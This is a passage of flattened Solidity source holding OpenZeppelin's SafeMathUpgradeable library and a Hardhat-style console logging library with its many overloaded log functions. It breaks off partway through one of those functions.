// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721ReceiverUpgradeable.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
